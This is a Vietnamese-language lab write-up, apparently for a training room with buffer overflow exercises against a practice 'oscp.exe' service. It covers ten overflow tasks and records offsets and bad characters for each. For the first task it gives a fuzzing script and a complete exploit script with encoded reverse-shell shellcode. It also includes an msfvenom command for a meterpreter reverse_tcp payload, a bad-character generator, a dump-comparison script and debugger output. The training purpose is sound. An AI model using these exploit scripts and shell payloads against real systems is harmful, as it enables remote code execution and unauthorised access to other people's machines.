Overflow 1
Sử dụng script sau để fuzzing:
#!/usr/bin/env python3
import socket, time, sys
ip = "127.0.0.1"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True :
try :
with socket.socket(socket. AF_INET , socket. SOCK_STREAM ) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv( 1024 )
print ( "Fuzzing with {} bytes" .format( len (string) - len (prefix)))
s.send( bytes (string, "latin-1" ))
s.recv( 1024 )
except :
print ( "Fuzzing crashed at {} bytes" .format( len (string) - len (prefix)))
sys.exit( 0 )
string += 100 * "A"
time.sleep( 1 )
Chương trình crash với chuỗi có độ dài 2000-byte. Sử dụng chuỗi de Brujin có độ dài 2400-byte thì tìm được offset ở vị trí 1978
byte.
Sử dụng các script của mona
ở trong Immunity Debugger, tìm được các bad character như sau: 0x00 0x07 0x2e 0xa0
(loại trừ 0x08 0x2f 0xa1
vì các byte này bị ảnh hưởng bởi byte trước đó chứ không thực sự là bad character).
Một số địa chỉ của chỉ thị jmp esp
:
Viết script để khai thác như sau:
import socket
ip = "10.10.131.227"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = " \x03\x12\x50\x62 "
padding = " \x90 " * 16
payload = ( " \xbf\xf7\xaf\x90\x35\xda\xd9\xd9\x74\x24\xf4\x5a\x33\xc9 "
" \xb1\x52\x31\x7a\x12\x83\xea\xfc\x03\x8d\xa1\x72\xc0\x8d "
" \x56\xf0\x2b\x6d\xa7\x95\xa2\x88\x96\x95\xd1\xd9\x89\x25 "
" \x91\x8f\x25\xcd\xf7\x3b\xbd\xa3\xdf\x4c\x76\x09\x06\x63 "
" \x87\x22\x7a\xe2\x0b\x39\xaf\xc4\x32\xf2\xa2\x05\x72\xef "
" \x4f\x57\x2b\x7b\xfd\x47\x58\x31\x3e\xec\x12\xd7\x46\x11 "
" \xe2\xd6\x67\x84\x78\x81\xa7\x27\xac\xb9\xe1\x3f\xb1\x84 "
" \xb8\xb4\x01\x72\x3b\x1c\x58\x7b\x90\x61\x54\x8e\xe8\xa6 "
" \x53\x71\x9f\xde\xa7\x0c\x98\x25\xd5\xca\x2d\xbd\x7d\x98 "
" \x96\x19\x7f\x4d\x40\xea\x73\x3a\x06\xb4\x97\xbd\xcb\xcf "
" \xac\x36\xea\x1f\x25\x0c\xc9\xbb\x6d\xd6\x70\x9a\xcb\xb9 "
" \x8d\xfc\xb3\x66\x28\x77\x59\x72\x41\xda\x36\xb7\x68\xe4 "
" \xc6\xdf\xfb\x97\xf4\x40\x50\x3f\xb5\x09\x7e\xb8\xba\x23 "
" \xc6\x56\x45\xcc\x37\x7f\x82\x98\x67\x17\x23\xa1\xe3\xe7 "
" \xcc\x74\xa3\xb7\x62\x27\x04\x67\xc3\x97\xec\x6d\xcc\xc8 "
" \x0d\x8e\x06\x61\xa7\x75\xc1\x84\x33\x3a\x32\xf1\x41\xc4 "
" \x31\x38\xcf\x22\x53\x2a\x99\xfd\xcc\xd3\x80\x75\x6c\x1b "
" \x1f\xf0\xae\x97\xac\x05\x60\x50\xd8\x15\x15\x90\x97\x47 "
" \xb0\xaf\x0d\xef\x5e\x3d\xca\xef\x29\x5e\x45\xb8\x7e\x90 "
" \x9c\x2c\x93\x8b\x36\x52\x6e\x4d\x70\xd6\xb5\xae\x7f\xd7 "
" \x38\x8a\x5b\xc7\x84\x13\xe0\xb3\x58\x42\xbe\x6d\x1f\x3c "
" \x70\xc7\xc9\x93\xda\x8f\x8c\xdf\xdc\xc9\x90\x35\xab\x35 "
" \x20\xe0\xea\x4a\x8d\x64\xfb\x33\xf3\x14\x04\xee\xb7\x35 "
" \xe7\x3a\xc2\xdd\xbe\xaf\x6f\x80\x40\x1a\xb3\xbd\xc2\xae "
" \x4c\x3a\xda\xdb\x49\x06\x5c\x30\x20\x17\x09\x36\x97\x18 "
" \x18 " )
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket. AF_INET , socket. SOCK_STREAM )
try :
s.connect((ip, port))
print ( "Sending evil buffer..." )
s.send( bytes (buffer + " \r\n " , "latin-1" ))
print ( "Done!" )
except :
print ( "Could not connect." )
Shellcode ở trong payload là một reverse shell:
Overflow 2
Chương trình crash khi truyền vào chuỗi có kích thước 2000-byte.
Tìm được offset ở vị trí 634
và các bad character là 0x00 0x23 0x3c 0x83 0xba
.
Tạo ra một shellcode có chứa meterpreter shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT= 1337 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
Vì việc tương tác với máy mục tiêu thông qua RDP quá chậm nên ta sẽ tải về tập tin thực thi để có thể phân tích ở máy của kẻ tấn công.
Để có thể chạy tập tin thực thi ở trên Linux, ta có thể dùng wine
và debug bằng gdb
kết hợp với gef
. Điểm trừ của việc này là ta không có các mona
script của Immunity Debugger để thực thi một số tác vụ tự động.
Việc khai thác tương tự với Overflow 1 : địa chỉ của jmp esp
và số lượng byte đệm không thay đổi.
Overflow 3
Chương trình crash khi truyền vào chuỗi có kích thước 1300 byte.
Quay trở lại sử dụng Immunity Debugger + `mona` do `gdb` không thoát ra khi một thread bị crash.
Một lát sau, phát hiện rằng ta có thể chuyển thread ở trong `gdb` sử dụng lệnh `thread #` sau khi kết nối của socket đã được thiết lập 🤣.
Tìm được offset ở vị trí 1274
thông qua các hàm của pwntools
:
>>> from pwn import *
>>> g = cyclic_gen ()
>>> g.get(1700 )
>>> ...
>>> g.find(0x61746d61 )
( 1274, 0, 1274 )
Sử dụng script sau để tạo ra các bad character và lưu chúng vào tập tin:
with open ( "badchars.bin" , "wb" ) as f:
for x in range ( 1 , 256 ):
if x not in [ 0x 00 ]:
print ( " \\ x" + " { :02x } " .format(x), end = '' )
f.write( bytes ([x]))
print ()
Để xác định bad characters trong gdb
, cần tạo một payload ghi đè giá trị của thanh ghi EIP với một địa chỉ chứa lệnh jmp esp
và đặt break point ở đó:
prefix = "OVERFLOW3 "
offset = 1274
overflow = "A" * offset
retn = " \x03\x12\x50\x62 "
padding = ""
payload = " \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff "
postfix = ""
Điều này cho phép quan sát toàn bộ các bad character trên stack ngay khi EIP được thực thi:
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x00eef4f0 → "OVERFLOW3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx : 0x41414141 ( "AAAA" ? )
$ecx : 0x00eef4f0 → "OVERFLOW3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$edx : 0x0
$esp : 0x00eef9f8 → 0x04030201 → 0x00000000
$ebp : 0x41414141 ( "AAAA" ? )
$esi : 0x0
$edi : 0x0
$eip : 0x62501203 → 0xe4ffe4ff → 0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x63 $gs: 0x6b
──────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00eef9f8│+0x0000: 0x04030201 → 0x00000000 ← $esp
0x00eef9fc│+0x0004: 0x08070605 → 0x00000000
0x00eefa00│+0x0008: 0x0c0b0a09 → 0x00000000
0x00eefa04│+0x000c: 0x100f0e0d → 0x00000000
0x00eefa08│+0x0010: 0x14130d0a → 0x00000000
0x00eefa0c│+0x0014: 0x18171615 → 0x00000000
0x00eefa10│+0x0018: 0x1c1b1a19 → 0x00000000
0x00eefa14│+0x001c: 0x201f1e1d
────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x625011ff ret
0x62501200 push ebp
0x62501201 mov ebp, esp
●→ 0x62501203 jmp esp
0x62501205 jmp esp
0x62501207 jmp DWORD PTR [esp-0xc]
0x6250120b pop ecx
0x6250120c pop ecx
0x6250120d ret
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oscp.exe" , stopped 0xef13d579 in __kernel_vsyscall (), reason: BREAKPOINT
[#1] Id 2, Name: "oscp.exe" , stopped 0x62501203 in ?? (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x62501203 → jmp esp
───────────────────────────────────────────────────────────────────────────────────────────────────
Trích xuất giá trị của các bad character ở trên stack ra tập tin dump.bin
. Sau đó, sử dụng script sau để so sánh hai tập tin:
import sys
def compare_files (file1, file2):
try :
with open (file1, "rb" ) as f1, open (file2, "rb" ) as f2:
addr = 0
while True :
block1 = f1.read( 16 )
block2 = f2.read( 16 )
if not block1 and not block2:
break # End of both files
# Compare blocks and print differing bytes
for i in range ( len (block1)):
if i < len (block2) and block1[i] != block2[i]:
print ( f "Difference at { addr + i :08x } : { block1[i] :02x } ( { file1 } ) != { block2[i] :02x } ( { file2 } )" )
addr += 16
print ( "Comparison complete." )
except FileNotFoundError as e:
print ( f "Error: { e } " )
sys.exit( 1 )
if __name__ == "__main__" :
if len (sys.argv) != 3 :
print ( "Usage: python compare_files.py <file1> <file2>" )
sys.exit( 1 )
file1, file2 = sys.argv[ 1 ], sys.argv[ 2 ]
compare_files(file1, file2)
Tìm thấy các bad character là: 0x00 0x11 0x40 0x5F 0xb8 0xee
.
Xây dựng script khai thác và gửi đi.
Từ task này trở đi, mọi thứ chỉ dừng lại ở việc tìm được offset và các bad character.
Overflow 4
Trạng thái của gdb
ngay tại thời điểm chương trình bị crash:
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x00eef200 → "OVERFLOW4 tabduabdvabdwabdxabdyabdzabebabecabedabe[...]"
$ebx : 0x61797862 ( "bxya" ? )
$ecx : 0x00eef200 → "OVERFLOW4 tabduabdvabdwabdxabdyabdzabebabecabedabe[...]"
$edx : 0x0
$esp : 0x00eef9f8 → "bycabydabyeabyfabygabyhabyiabyjabykabylabymabynaby[...]"
$ebp : 0x617a7862 ( "bxza" ? )
$esi : 0x0
$edi : 0x0
$eip : 0x61627962 ( "byba" ? )
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x63 $gs: 0x6b
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00eef9f8│+0x0000: "bycabydabyeabyfabygabyhabyiabyjabykabylabymabynaby[...]" ← $esp
0x00eef9fc│+0x0004: "bydabyeabyfabygabyhabyiabyjabykabylabymabynabyoaby[...]"
0x00eefa00│+0x0008: "byeabyfabygabyhabyiabyjabykabylabymabynabyoabypaby[...]"
0x00eefa04│+0x000c: "byfabygabyhabyiabyjabykabylabymabynabyoabypabyqaby[...]"
0x00eefa08│+0x0010: "bygabyhabyiabyjabykabylabymabynabyoabypabyqabyraby[...]"
0x00eefa0c│+0x0014: "byhabyiabyjabykabylabymabynabyoabypabyqabyrabysaby[...]"
0x00eefa10│+0x0018: "byiabyjabykabylabymabynabyoabypabyqabyrabysabytaby[...]"
0x00eefa14│+0x001c: "byjabykabylabymabynabyoabypabyqabyrabysabytabyuaby[...]"
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[ ! ] Cannot disassemble from $PC
[ ! ] Cannot access memory at address 0x61627962
──────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oscp.exe" , stopped 0xf4d5d579 in __kernel_vsyscall (), reason: SIGSEGV
[#1] Id 2, Name: "oscp.exe" , stopped 0x61627962 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
Tìm được offset ở 2026
:
>>> g.find(0x61627962 )
( 5000, 2, 2026 )
Tìm được các bad character: \x00\xa9\xcd\xd4
.
Overflow 5
Chúng ta cũng có thể tận dụng crash dump của wine
để xác định giá trị ở trong EIP mà không cần dùng gdb
:
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
EIP:66636179 ESP:00eef9f8 EBP:66636178 EFLAGS:00010246 ( R- -- I Z- -P- )
EAX:00eef8b0 EBX:66636177 ECX:00eef8b0 EDX:00000000
ESI:00000000 EDI:00000000
Stack dump:
0x00eef9f8: 6763617a 67636162 67636163 67636164
0x00eefa08: 67636165 67636166 67636167 67636168
0x00eefa18: 67636169 6763616a 6763616b 6763616c
0x00eefa28: 6763616d 6763616e 6763616f 67636170
0x00eefa38: 67636171 67636172 67636173 67636174
0x00eefa48: 67636175 67636176 67636177 67636178
Backtrace:
=>0 0x66636179 (0x66636178)
Tìm thấy offset ở 314
.
Các bad character là \x00\x16\x2f\xf4\xfd
.
Overflow 6
Crash dump:
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
EIP:61686164 ESP:00eef9f8 EBP:61676164 EFLAGS:00010246 ( R- -- I Z- -P- )
EAX:00eef5e0 EBX:61666164 ECX:00eef5e0 EDX:00000000
ESI:00000000 EDI:00000000
Offset: 1034
.
Bad characters: \x00\x08\x2c\xad
.
Overflow 7
Crash dump:
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
EIP:72656164 ESP:00eef9f8 EBP:72656163 EFLAGS:00010246 ( R- -- I Z- -P- )
EAX:00eef4d0 EBX:72656162 ECX:00eef4d0 EDX:00000000
ESI:00000000 EDI:00000000
Offset: 1306
.
Bad characters: \x00\x8c\xae\xbe\xfb
.
Overflow 8
Offset: 1786
.
Bad characters: \x00\x1d\x2e\xc7\xee
.
Overflow 9
Offset: 1514
.
Bad characters: \x00\x04\x3e\x3f\xe1
. Cần thực hiện hai lần để thu được các giá trị này:
─❯ python bindiff.py badchars.bin dump.bin
Difference at 00000003: 04 (badchars.bin) ! = 0a (dump.bin)
Difference at 00000004: 05 (badchars.bin) ! = 0d (dump.bin)
Difference at 0000003d: 3e (badchars.bin) ! = 0a (dump.bin)
Difference at 0000003e: 3f (badchars.bin) ! = 0d (dump.bin)
Difference at 000000e0: e1 (badchars.bin) ! = 0a (dump.bin)
Difference at 000000e1: e2 (badchars.bin) ! = 0d (dump.bin)
Comparison complete.
─❯ python bindiff.py badchars.bin dump.bin
Difference at 0000003c: 3f (badchars.bin) ! = 0a (dump.bin)
Difference at 0000003d: 40 (badchars.bin) ! = 0d (dump.bin)
Comparison complete.
Overflow 10
Offset: 537
.